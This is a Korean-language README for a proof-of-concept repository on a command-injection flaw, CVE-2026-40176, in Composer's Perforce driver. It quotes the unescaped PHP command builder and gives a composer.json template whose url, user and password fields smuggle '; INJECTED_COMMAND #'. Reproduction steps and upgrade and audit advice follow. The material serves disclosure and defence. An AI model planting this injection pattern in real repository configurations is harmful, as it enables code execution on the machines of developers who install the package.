
개념 증명(PoC)으로, Composer의 Perforce 드라이버에서 명령 주입(CVE-2026-40176)을 시연하며, 조작된 저장소 구성을 통해 원격 코드 실행을 가능하게 합니다.
| 속성 | 값 |
|---|
| CVE ID | CVE-2026-40176 |
| 영향을 받는 버전 | Composer < 2.2.27 |
| 취약점 유형 | 명령 주입 |
| 공격 벡터 | 악성 저장소 구성 |
| 영향 | 임의 코드 실행 |
| CVSS 점수 | 높음/치명적 |
이 취약점은 Composer가 perforce 유형을 처리하는 방식에 존재합니다. 해당 매개변수는 셸 명령에 전달되기 전에 제대로 삭제(샌티타이즈)되지 않아, 공격자가 임의의 시스템 명령을 주입할 수 있습니다.
public function generateP4Command($command, $useClient = true)
{
$p4Command = 'p4 ';
$p4Command .= '-u ' . $this->getUser() . ' ';
if ($useClient)
$p4Command .= '-c ' . $this->getClient() . ' ';
}
$p4Command .= '-p ' . $this->getPort() . ' ' . $command;
return $p4Command;
}
이 모든 것이 제대로 이스케이프되지 않아, 공격자는 perforce 유형의 모든 필드에 악성 페이로드를 구성하여 명령을 주입할 수 있습니다.
취약한 코드 패턴:
{
"repositories": [
{
"type": "perforce",
"url": "PERFORCE_URL; INJECTED_COMMAND #",
"depot": "depot",
"p4user": "user; INJECRTED_COMMAND #",
"p4password": "password; INJECTED_COMMAND #",
}
]
}
이 저장소에는 취약점을 입증하는 작동하는 개념 증명이 포함되어 있습니다.
CVE-2026-40176/
├── composer.json # 악성 Perforce 저장소 구성
├── vuln-composer.phar # Composer 2.2.26 (취약한 버전)
├── patched-composer.phar # Composer 2.2.27 (패치된 버전)
└── README.md # 이 파일
git clone <repository-url>
cd CVE-2026-40176
php vuln-composer.phar --version
# 출력: Composer version 2.2.26
php patched-composer.phar --version
# 출력: Composer version 2.2.27
php vuln-composer.phar install
# 또는
php vuln-composer.phar update
ls -la /tmp/pwned
rm -f /tmp/pwned
php patched-composer.phar update
ls -la /tmp/pwned
# 파일이 존재하지 않아야 함 (취약점이 패치됨)
Composer 업그레이드 - 버전 2.2.27 이상으로:
composer self-update --2.2.27
# 또는
wget https://getcomposer.org/download/2.2.27/composer.phar
모든 composer.json 파일 검토 - 알 수 없거나 의심스러운 저장소 구성 확인
공급망 감사 - 신뢰할 수 없는 저장소를 참조하는 종속성이 있는지 확인
# Composer 버전 확인
composer --version
# 프로젝트에서 Perforce 저장소 검색
grep -r "perforce" */composer.json